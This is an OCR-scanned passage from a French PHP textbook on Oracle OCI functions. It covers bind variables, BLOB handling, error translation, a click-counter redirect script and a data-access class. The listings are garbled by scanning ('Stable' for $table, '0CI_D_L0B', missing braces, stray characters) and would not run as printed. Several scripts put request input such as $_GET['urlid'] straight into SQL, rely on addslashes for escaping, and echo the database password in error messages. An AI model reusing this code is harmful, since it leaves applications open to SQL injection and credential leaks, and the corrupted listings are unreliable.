$typeChamp]]) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$vari abl eSQL Nom de la variable dans la requete SQL. 

$vari abl ePHP Reference sur la variable PHP devant etre liee a la variable SQL. 

$1 ong ueurChamp Longueur du champ SQL. 

$typeChamp Type du champ SQL. Ce parametre peut prendre une valeur parmi les 

suivantes : 

OCI_B_BFILE. 
OCI_B_CFILEE. 

OCl_CLOB s'il s'agit d'un champ de type CLOB (objet large de type texte). 

OCl_BLOB s'il s'agit d'un champ de type BLOB (objet large de type 

binaire). 

0CI_R0WID s'il s'agit d'un identifiant d'enregistrement. 

OCl_B_CURSOR s'il s'agit d'un curseur (pointeur de resultat). 

OCI_B_BIN. 

OCl_B_SQLT_NTY s'il s'agit d'une collection. 

OCI_SYSDATE. 

retour TRUE en cas de succes, FALSE sinon. 

En utilisant les requetes preparees, le script d'initialisation de la table d'exemple devient : 

Listing 10.68 : insert02_bd_inc.php 

<?php 

/** Fonction charge de creer et d'al imenter une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** / 

function EX initial iseBD($idConnexion, Stable) 
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{ 



II Creation de la table 

$requete = "DROP TABLE Stable"; 

SidRequete = oci_parse($idConnexion, Srequete) ; 

@oci_execute($idRequete) ; 

Srequete = "CREATE TABLE Stable (filmld INTEGER, film VARCHAR(64)) " ; 
SidRequete = oci_parse($idConnexion, Srequete); 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'une sequence pour les identifiants de film 



791 



CD 


GO 


■o 


a> 

'CD 


c 


£= 


o 


£= 


*™ 


O 


CO 


■D 


GO 


03 


IS 


•a 






3 


go 


~—i 


a> 

GO 


o 


CO 

.a 







Chapitre 10 L'utilisation des bases de donnees 



$requete = "DROP SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'un trigger pour remplir automatiquement 
// le champ identifiant de film a chaque ajout de film 
$requete = "DROP TRIGGER compteur_$table" ; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteurjtable BEFORE INSERT ON Stable 

"FOR EACH ROW ". 

"BEGIN ". 

"SELECT seqjtable. NEXTVAL INTO :NEW.filmId FROM DUAL; " 

"END;"; 
SidRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Prepare une requete 

SidRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES (:film)"); 

// Associe une variable SQL a une variable PHP 
oci_bind_by_name($idRequete, ":film", $film, 64); 

// 3 insertion en mode "auto commit" 

$film = 'Forrest Gump 1 ; 

if (!oci_execute($idRequete)) return FALSE; 

$film = 'Matrix' ; 

if (!oci_execute($idRequete)) return FALSE; 

$film = 'La cite de la peur'; 

if (loci execute($idRequete)) return FALSE; 



?> 



return TRUE; 



Utilisation des objets de grande taille (BLOB, CLOB) 

PHP vous permet, bien entendu, de manipuler les champs de type blob et clob mis a votre 
disposition par la base de donnees Oracle. 

Lorsque vous voudrez creer un objet de type lob, vous devrez faire appel a la fonction 
oci_new_descriptor ( ) afin de creer un objet PHP qui vous servira a en manipuler le 
contenu. 
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oci_new_descriptor() (ociNewDescriptor() PHP4) 

Cree un objet PHP permettant la manipulation des objets de grande taille. 

Syntaxe object oci_new_descriptor (resource $idConnexion [, int 

$typeObjet]) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

$typeObjet Auchoix: 

OCI_D_FILE. 

OCl_D_LOB s'il s'agit d'un objetLOfi. 

0CI_R0WID s'il s'agit d'un identifiant d'enregistrement. 

retour L'objet demande. 

Ces objets de grande taille sont represented sous PHP par des objets (PHP) possedant un 
attribut "descriptor" contenant un pointeur (resource). 

Ces objets OCILOB proposent differentes methodes dont les essentielles : 

■ free ( ) pour liberer les ressources allouees par l'objet. 

■ load ( ) pour recuperer le contenu du champ (blob, clob) ; 
save ( ) pour inserer un objet dans la base ; 

saveFile ( ) pour sauvegarder le contenu du champ dans un fichier ; 
writeToFile ( ) pour sauvegarder le contenu du champ dans un fichier ; 

mais aussi append! ), closet), eof (), erase () , flush(), read(), rewind () , seek(), 
setBuf f ering ( ) , size ( ) , tell ( ) , truncate ( ) , write ( ) , writeTemporary ( ) 



/£) PHP 5. 0.0 pas encore totalement cm point ? 

"**^ // semblerait qu'il ait ete prevu que les methodes saveFile ( ); writeToFile ( ), 

writeTemporary ( ) (qui existaient deja sous PHP4) soient renommees en 
import (), export (), write_ temporary ( ) ce n'est toutefois pas le cas avec PHP 
5.0.0. 
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0CIL0B->save() 



Insere un objet dans un champ de type lob. 

Syntaxe boolean save (string $donnees) 

$donnees Donnees constituant l'objet. 

retour TRUE en cas de succes, FALSE sinon. 
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OCILOB->load() 



Retourne le contenu d'un champ de type lob. 

Syntaxe string load (void) 

retour Contenu du champ, ou FALSE en cas d'echec. 



0CIL0B->saveFile() 



Sauve le contenu d'un champ de type lob dans un fichier. 

Syntaxe boolean saveFile (string $nomFichier) 

$nomFi chi er Nom du fichier dans lequel copier le contenu de l'objet. 

retour TRUE en cas de succes, FALSE sinon. 



OCILOB->writeToFile() 



Sauve une portion du contenu d'un champ de type blob dans un fichier. 

Syntaxe boolean writeToFile(string $nomFichier [, int $debut [, int 

$longueur]] ) 

$nomFi chi er Nom du fichier dans lequel copier le contenu de l'objet. 

$debut Octet a partir duquel commencer la copie de l'objet. 

$1 ongueur Nombre d'octets a ecrire dans le fichier. 

retour TRUE en cas de succes, FALSE sinon. 



0CIL0B->free() 

Libere les ressources allouees par l'objet. 

Syntaxe boolean free (void) 

retour TRUE en cas de succes, FALSE sinon. 

Voici un exemple d'utilisation : dans un premier temps, nous ajoutons un objet BLOB dans la 
base, puis nous le recuperons de deux fagons differentes pour le sauvegarder dans un fichier ou 
1'afficher. 
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Listing 10.69 : blobbdinc.php 

<?php 

// Fonction charge de donner un exemple d 1 utilisation 

// des BLOB 

// Compatibilite: PHP 5 

function EX_blob($idConnexion, Stable) 

{ 

// Creation d'une table de test 

SidRequete = oci_parse($idConnexion, "DROP TABLE Stable"); 

@oci_execute($idRequete) ; 

SidRequete = oci_parse($idConnexion, "CREATE TABLE Stable (id INTEGER,". 

"monblob BLOB)"); 
oci_execute($idRequete) ; 

// 

// Insertion d'un objet de type blob 

// 

$requete = "INSERT INTO Stable (id, monblob) VALUES (1, EMPTY_BL0B()) " . 

" RETURNING monblob INTO :blob"; 
SidRequete = oci_parse($idConnexion, Srequete) ; 

// Creation d'un descripteur de BLOB 

Sblob = oci_new_descriptor($idConnexion, 0CI_D_L0B); 

oci_bind_by_name($idRequete, ":blob", $blob, -1, 0CI_B_BL0B); 
if (!oci_execute($idRequete, OCI_DEFAULT)) die("echec. ") ; 

// Insertion des donnees 

// cela necessite une transaction (d'ou le 0CI_DEFAULT) 

$blob->save("0n supposera qu'il y a la une grande quantite de donnees". 

" de type binaire (issue par exemple de la lecture d'un ". 

" fichier image)"); 
oci_commit($idConnexion) ; 
echo "Donnees enregistrees<br />"; 

$blob->free(); 

// 

// Lecture d'un objet de type BLOB par un simple oci_fetch_assoc 
// 

Srequete = "SELECT monblob FROM Stable WHERE id=l"; 
SidRequete = oci_parse($idConnexion, Srequete); 

if (!oci_execute($idRequete)) return FALSE; 

echo "<b>Lecture avec oci_fetch_assoc</bxbr />"; 

if (! (Senreg = oci_fetch_assoc($idRequete))) return FALSE; 

Sblob = Senreg ["MONBLOB"]; 
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// Une fois le descripteur recupere 
// II est possible de. . . 

// Recuperer le contenu de l'objet (pour 1'afficher) 
echo "<b>Affichage avec la methode load()</bxbr />"; 
echo $blob->load() ."<br />"; 

// Sauvegarder l'objet dans un fichier 
// $sts = $blob->export("blob.txt") ; 
$sts = $blob->writeToFile("blob.txt"); 

// Sauvegarder une partie de l'objet dans un fichier 
// $sts = $blob->export("blob2.txt", 3, 5); 
$sts = $blob->writeToFile("blob2.txt", 3, 5); 

$blob->free(); 

// 

// Lecture d'un objet de type BLOB par ociDefineByName 
// 

$requete = "SELECT monblob FROM Stable WHERE id=l"; 
$idRequete = oci parse($idConnexion, $requete); 



// Creation d'un descripteur de BLOB 

$blob = oci_new_descriptor($idConnexion, 0CI_D_L0B); 

oci_define_by_name($idRequete, "MONBLOB", $blob, 0CI_B_BL0B); 

if (!oci_execute($idRequete)) return FALSE; 
if (!oci_fetch($idRequete)) return FALSE; 

// Une fois le descripteur recupere 
// II est possible de. . . 

// Recuperer le contenu de l'objet (pour 1'afficher) 
echo "<b>Lecture avec oci_define_by_name</bxbr />"; 
echo $blob->load() ; 

$blob->free(); 

return TRUE; 



} 
?> 



L'ajout de l'objet se fait selon les etapes suivantes : 

1. Preparation d'une requete d'insertion ajoutant un objet BLOB vide et retournant l'objet : 

2. Creation d'un objet (PHP) ; 
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3. Association de cet objet PHP a l'objet SQL ; 

4. Execution proprement dite. Les appels aux methodes d'ecriture de l'objet BLOB devant 
obligatoirement se faire au sein d'une transaction, il est important, ici, de selectionner le 

mode OCI_DEFAULT. 

5. Appel de la methode save ( ) afin de preciser le contenu de l'objet BLOB ; 

6. Et enfin, validation de la transaction avec oci_commit ( ) ; 

7. Liberation des ressources. 

La lecture de l'objet BLOB peut se faire de differentes facons : 

Si vous faites appel a oci_fetch_assoc ( ) , oci_fetch_row( ) ou encode 
oci_f etch_array ( ) (comme avec un champ de type standard), vous recuperez alors un 
objet PHP, sur lequel vous pouvez appeler directement la methode voulue. 

Si vous faites appel a oci_bind_by_name( ), vous devrez, au prealable, allouer les 
ressources de l'objet PHP associe avec oci_new_descriptor ( ) . 



Gestion des erreurs 

Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

Cela est possible notamment en recuperant un code d'erreur via la fonction oci_error ( ) . 



oci_error() (ociErrorQ PHP4) 



Retourne le code d'erreur du dernier appel a la connexion ou a la requete. 

Syntaxe array oci_error( [resource $idBaseDonneesOuRequete]) 

$idBaseDonnees 

OuRequete Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) , ou 
identifiant de requete tel que retourne par oci_execute ( ) . Si ce 
parametre n'est pas precise, c'est la derniere erreur rencontree, et non liee 
a un identifiant de connexion ou de requete (ex. : probleme de connexion), 
qui est retournee. 

retour Tableau associatif contenant la cle "code", a laquelle est associe un code 

d'erreur (un entier) et la cle "message" a laquelle est associe un message 
d'erreur (une chaine de caracteres en anglais). FALSE en cas d'absence 
d'erreur. 
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Tableau 10.16 : Exemples de codes et messages d'erreur 
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Code 

900 



Message 

Oft/4-00900: /nva//'d SOL 
statement 



Description 

Requete SQL non valide. 



1017 



12154 



ORA-01 01 7: invalid 
username/password; logon 
denied 

ORA-12154: TNS.could not 
resolve service name 



L'identifiant de connexion a la base 
n'est pas valide. 

La connexion a la base (via le 
listener) n'a pas pu s'effectuer. 



Vous pourrez, par exemple, vous servir des codes d'erreur pour afficher vos propres messages 
d'erreur. Dans l'exemple suivant, nous montrons comment traduire les messages d'erreur (en 
fait cela ne s'appliquera qu'a l'echantillon de codes qui vient d'etre presente). 



Listing 10.70 : errorinc.php 

<?php 

// Propose une version Frangaise de ociError 

function ociErrorFr($id="") 
{ 

if ($id == "") { 

$errEn = oci_error(); 
} else { 

$errEn = oci error($id); 



if ($errEn === FALSE) return FALSE; 

switch ($errEn["code"]) { 

case 900 : $errEn ["message"] = "ORA-00900: Requete SQL invalide"; 

break; 
case 1017 : $errEn ["message"] = 

"0RA-01017: Norn util isateur/Mot de passe invalide:". 
" connexion refusee"; 
break; 
case 12154 : $errEn ["message"] = 

"ORA-12154: Aucune reference trouvee par le TNS"; 
break; 

} 

return $errEn; 

} 
?> 
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Et voici un script generant l'ensemble des erreurs ci-dessus, afin de bien mettre en evidence le 
bon fonctionnement de cette fonction personnalisee. 

Listing 10.71 : error.php 

<?php 

// Parametres du script 
require_once("parametres_bd_inc.php") ; 
Stable = "errorOl"; 

// Chargement de la fonction de traduction des messages d'erreur 
require_once("error_inc.php") ; 

// Erreur d'identification 

$idConnexion = @oci_pconnect( 'xyz' , 'xyz 1 , $base) ; 

print_r(ociErrorFr()) ; 

echo "<br />"; 

// Base de donnees inaccessible 

$idConnexion = @oci_pconnect($utilisateur, $motDePasse, "xyz"); 

print_r(ociErrorFr()) ; 

echo "<br />"; 



// Connexion a la base de donnees 

$idConnexion = oci_pconnect($utilisateur, $motDePasse, $base) 

if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees" 

" [$base] sous le compte [$utilisateur] ". 

" avec le mot de passe [$motDePasse] .</b>") ; 



// requete invalide 

$idRequete = @oci_parse($idConnexion, "XYZ") 

@oci_execute($idRequete) ; 

echo "derniere erreur<br />"; 
print_r(oci Error Fr()) ; 
echo "derniere erreur connexion<br />"; 
print_r(ociErrorFr($idConnexion)) ; 
echo "derniere erreur requete<br />"; 
print r(oci Error Fr($idRequete)) ; 



Ce script genere alors une page contenant les messages : 

Array ( [code] => 1017 [message] => ORA-01017: Nom utilisateur/Mot de passe 
x invalide: connexion refusee ) 

Array( [code] => 12154 [message] => ORA-12154: Aucune reference trouvee par le 
x TNS ) 
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derniere erreur 

derniere erreur connexion 

derniere erreur requete 

Array ( [code] => 900 [message] => ORA-00900: Requete SQL invalide ) 

Exemples (['applications 
Compteur de clics 

Une application courante d'utilisation des bases de donnees, et simple a mettre en oeuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker en base de donnees l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien vers 
un script charge d'incrementer le compteur correspondant au site indique, et de rediriger le 
client vers le site grace a la fonction header ( ) . 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

urlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 
nbclic, le nombre de clics. 

Le script de redirection (appele ici compteurclic_redirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclic_redirection.php?urlid=3 (pour 
acceder a l'URL ayant l'identifiant 3). A supposer que l'URL 3 corresponde au site http://www 
.sqlfacil.com, cela signifie que le lien <a href="http: //www.sqlfaciie.com"> devra etre 

remplace par <a href="compteurclic_redirection.php?urlid=3> si Ton SOuhaite en 

compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initiaiiseBD ( ) 
du script suivant : 

Listing 10.72 : compteurclic_admin_inc.php 

<?php 

// Fonction charge de creer et d'alimenter 
// la table "compteur de clics" 

function CC initial iseBD($idConnexion, $table) 
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// Creation de la table 

$requete = "DROP TABLE Stable"; 

SidRequete = oci_parse($idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE TABLE Stable (urlld INTEGER,". 

"url VARCHAR(128) NOT NULL,". 

"nbclic INTEGER DEFAULT 0,". 

"UNIQUE(url))"; 
SidRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'une sequence pour les identifiants d'url 
$requete = "DROP SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'un trigger pour remplir automatiquement 
// le champ identifiant d'url a chaque ajout d'une url 
// (compteur) 

$requete = "DROP TRIGGER compteur_$table"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$idRequete = oci_parse($idConnexion, 

"CREATE TRIGGER compteurjtable" . 

" BEFORE INSERT ON Stable ". 

"FOR EACH ROW ". 

"BEGIN ". 

"SELECT seqjtable. NEXTVAL INTO :NEW. urlld FROM DUAL; ". 

"END;"); 
oci_execute($idRequete) ; 

// Prepare une requete 

$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (url) VALUES (:url)"); 

// Associe une variable SQL a une variable PHP 
oci_bind_by_name($idRequete, ":url", $url , 129); 

// Alimentation de la base de donnees 
$url = "http://www.php.net"; 
oci_execute($idRequete) ; 

$url = "http://www.phpfacile.com"; 
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oci_execute($idRequete) ; 

$url = "http://www.sqlfacile.com"; 
oci_execute($idRequete) ; 

$url = "http://www.xrnlfacile.com"; 
oci_execute($idRequete) ; 

$url = "http://www.ootoogo.com"; 
oci_execute($idRequete) ; 

return TRUE; 



?> 



Les operations de connexion n'apparaissent pas dans ce script, mais vous pouvez consulter le 
script compteurclic _admin.php si vous le souhaitez. 

La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 

cc_recupereLiens ( ) du script suivant : 

Listing 10.73 : compteurclicjnc.php 

<?php 

// Fonction retournant les informations de liens 
// sous forme d'un tableau associatif possedants 
// les cles 

// - "lien" associe au tableau des liens hypertextes 
// - "nbclic" associe au tableau des nombres de clics 

function CC_recupereLiens($idConnexion, $table) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurcl ic_redirection.php"; 

// Preparation de la requete SELECT 

SidRequete = oci_parse($idConnexion, "SELECT * FROM Stable"); 

// Execution de la requete 
oci_execute($idRequete) ; 

// Recuperation des enregistrements les uns apres les autres 
while (oci_fetch_into($idRequete, $enreg, 0CI_ASS0C)) { 

$liens["lien"] [] = "<a href=\"$script?urlid=".$enreg["URLID"] . "\">". 
$enreg["URL"]."</a>"; 

$liens["nbclic"]t] = $enreg["NBCLIC"] ; 
} 

return $liens; 
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L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclic_affichageJnc.php). 

Comme cela a ete precise, le lien <a href="http: //www.sqifaciie.com">http: //www 

.sqlfacile.com</a> a ete remplace par <a href="compteurclic_redirection 

. php?uriid=3">http: //www. sqifaciie.com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic_red.irection.php. 

Listing 10.74 : compteurclicredrrection.php 

<?php 

// Parametres du script 
require_once("parametres_bd_inc.php") ; 
Stable = "compteurclic"; 

// Connexion a la base de donnees 

$idConnexion = @oci_pconnect($utilisateur, $motDePasse, $base) ; 

if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees". 

" [$base] sous le compte [$utilisateur] ". 

" avec le mot de passe [$motDePasse] .</b>") ; 
} 

// Recuperation du parametre urlid passe 

// en parametre de ce script par la methode GET 

$urlid = $_GET["urlid"]; 

// Recherche dans la base de donnee de l'url 
// correspondant a $urlid 
$idRequete = @oci_parse($idConnexion, 

"SELECT * FROM Stable WHERE url id=$url id") ; 
@oci_execute($idRequete) ; 

@oci_fetch_into($idRequete, $enreg, OCI_ASSOC) or 
die("<b>Impossible de trouver cette url<b>"); 

// Nous connaissons maintenant l'url 

// nous pourrons nous rediriger vers $enreg["URL"] ; 

// une fois le compteur incremente 

$url = $enreg["URL"]; 

$idRequete = @oci_parse($idConnexion, 

"UPDATE Stable SET nbel ic=nbcl ic+1" . 

" WHERE urlid=$urlid"); 
@oci_execute($idRequete) ; 

// Dans le cas d'une connexion non persistante 
// (utilisation de oci_connect ou oci_new_connect) 
// il faudrait egalement la ligne suivante 
// oci_close($idConnexion) ; 
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// C'est 1'heure de la redirection 
header("Location: $url"); 

// REM: L'appel a header ne fonctionnera pas si des donnees 

// ont deja ete emises vers le navigateur. Ce qui peut 

// arriver si l'un des appels precedents affiche un message 

// d'alerte. II etait done important de faire preceder 

// ces appels par le signe @ 

// REM 2: Avec Oracle, nous aurions pu utiliser une procedure stockee 

// realisant a la fois 1 'operation de lecture et celle de mise a jour 

// du compteur 

?> 



^j) Utilisation du bouton retour 

"**^ Si, apres avoir suivi un lien, vous revenez sur la page cliccompte.php en utilisant le 

bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 



SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions Oracle pour implementer l'interface Ressourceinterf ace 
c'est desormais chose faite: 

Listing 10.75 : RessourceOracleclass.php 

<?php 
include_once("RessourceInterface_class.php") ; 

include_once(dirname( FILE ) ."/■ -/config/oracl e_cfg .php") ; 

/** 

* RessourceOracle_class.php 

* Classe d'acces a une base de donnees Oracle 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourcelnterface. 

* Compatibilite: PHP 5 

V 

class Ressource implements Ressourcelnterface 
{ 

var $idConnexion; 

public function connexion() 

{ 

global $oci_serveur, $oci_util isateur, $oci_motDePasse; 
global $oci base; 
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if (!isset($this->idConnexion)) { 

$idConnexion = oci_pconnect($oci_util isateur, 

$oci_motDePasse, 
$oci_base) ; 

if (!$idConnexion) return FALSE; 

$this->idConnexion = $idConnexion; 

} 

return TRUE; 



public function deconnexion() 

{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset () 

{ 

$requete = "DROP TABLE types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

// Ne pas tenir compte d'une eventuelle erreur 

// la table n'existe peut-etre tout simplement pas 

$requete = "CREATE TABLE types (". 

"id INTEGER PRIMARY KEY,". 

"type VARCHAR(255))"; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

$requete = "DROP SEQUENCE seq_types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seq_types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

if (!oci_execute($idRequete)) return FALSE; 

$requete = "DROP TRIGGER compteur_types" ; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteur_types ". 

"BEFORE INSERT ON types ". 

"FOR EACH ROW ". 

"BEGIN ". 

"SELECT seq_types.NEXTVAL INTO :NEW.id FROM DUAL; 

"END;"; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 



$types = array ("Album", "Film", "Livre", "Musique"); 
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} 



foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 

$idRequete = oci_parse($this->idConnexion, $requete); 

if (!oci_execute($idRequete)) return FALSE; 
} 

$requete = "DROP TABLE articles"; 

$idRequete = oci_parse($this->idConnexion, $requete); 

@oci_execute($idRequete) ; 

// Ne pas tenir compte d'une eventuelle erreur 

// la table n'existe peut-etre tout simplement pas 

$requete = "CREATE TABLE articles (". 

"id INTEGER PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255)) "; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

$requete = "DROP SEQUENCE seq_articles"; 

$idRequete = oci_parse($this->idConnexion, $requete); 

@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seq_articles" ; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

$requete = "DROP TRIGGER compteur_articles" ; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteur_articles ". 

"BEFORE INSERT ON articles ". 

"FOR EACH ROW ". 

"BEGIN ". 

"SELECT seq_articles.NEXTVAL INTO :NEW.id FROM DUAL; 

"END;"; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 



public function addArticle($albumId, 

$titre, 
$typeld, 
$commentaire) 

{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($albumld,". 

sql i te_escape_stri ng ($ti tre) . " ' , " . 

"$typeld"; 
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if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFin .= ", '".sql ite_escape_string($commentaire) .' 
} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 



public function getArticle($articleId) 
{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

if (!oci_execute($idRequete)) return FALSE; 

$article = NULL; 

if ($enreg = oci_fetch_array($idRequete)) { 
$article = $this->enreg2Article($enreg) ; 
} 

return $article; 
} 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 
} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($f i 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " ASC"; 
} 

$requete = $requete." WHERE " .$condi tionSQL. " ". 

$triSQL; 

$requete = "SELECT * FROM (". 

"SELECT id, albumld, titre, typeld, commentaire,". 

" ROWNUM noligne ". 
"FROM (".$requete.")". 
") WHERE noligne BETWEEN " . ($plage->getPremierArticle()+l) 
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" AND ". ($plage->getPremierArticle() + 
$plage->getNbArticleMax()) ; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

$articles = NULL; 

while ($enreg = oci_fetch_array($idRequete)) { 
$articles[] = $this->enreg2Article($enreg) ; 

} 

return $articles; 



public function getNbTotalArticles(Filtre $filtre) 
{ 

$requete = "SELECT C0UNT(*) FROM articles"; 

if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumld=" .$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($filtre->getTitre()) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(): 
} 

$requete = $requete." WHERE " .$conditionSQL; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

if ($enreg = oci_fetch_array($idRequete)) { 

return $enreg[0] ; 
} else return FALSE; 



public function getTypes() 

{ 

$requete = "SELECT * FROM types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

if (!oci_execute($idRequete)) return FALSE; 

$types = NULL; 

while ($enreg = oci_fetch_array($idRequete)) { 
$types[$enreg["ID"]] = $enreg["TYPE"] ; 

} 

return $types; 



public function getAlbumTypeldQ 
{ 
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return 1; 



private function enreg2Article($enreg) 
{ 

// ATTENTION: Avec Oracle les noms des cles 

// du tableau sont en majuscules. 

$article = new Article(); 

$article->setId($enreg["ID"]); 

$article->setAlbumId($enreg["ALBUMID"]); 

$article->setTitre($enreg["TITRE"]); 

$article->setTypeId($enreg["TYPEID"]); 

$article->setCommentaire($enreg["COMMENTAIRE"]; 

return $article; 



!> 

Comme vous le constatez, la principale difficulte n'est pas tant au niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticie ( ) ) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 



Requetes avec des apostrophes 



Lors de la construction de la requete, il faut bien garder a 1'esprit que l'un des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 



Affichage par page 



Des bases de donnees telles que MySQL proposent une instruction limit permettant de ne 
retourner qu'un sous-ensemble des resultats de la requete, en precisant l'index du premier 
enregistrement et le nombre de resultats a retourner. II n'y a malheureusement pas 
d'equivalent sous Oracle ; il faut done avoir recours a quelques acrobaties pour obtenir le 
meme resultat. 

Ainsi, pour retourner les vingt premiers enregistrements a partir du onzieme de la requete 
<requete>, il faut executer la requete : 

SELECT * FROM (SELECT champl, champ2, ..., ROWNUM noligne FROM (<requete>)) 
x WHERE noligne BETWEEN 11 AND 30) 

Tri 

Modifier l'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL grace a l'instruction order by. 
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Chapitre 10 L'utilisation des bases de donnees 



Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commencant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcle ' mais 
